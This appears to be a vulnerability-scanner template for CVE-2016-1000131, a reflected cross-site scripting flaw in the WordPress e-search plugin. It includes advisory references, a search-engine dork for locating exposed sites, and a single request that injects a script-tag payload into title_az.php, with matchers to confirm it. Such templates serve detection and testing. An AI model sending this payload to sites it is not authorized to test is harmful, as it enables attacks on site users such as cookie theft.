id: CVE-2016-1000131

info:
  name: WordPress e-search <=1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress e-search 1.0 and before contains a reflected cross-site scripting vulnerability via title_az.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=393
    - https://wordpress.org/plugins/e-search
    - http://web.archive.org/web/20210123183536/https://www.securityfocus.com/bid/93867/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000131
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000131
    cwe-id: CWE-79
  metadata:
    max-request: 1
    google-query: inurl:"/wp-content/plugins/e-search"
  tags: cve,cve2016,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200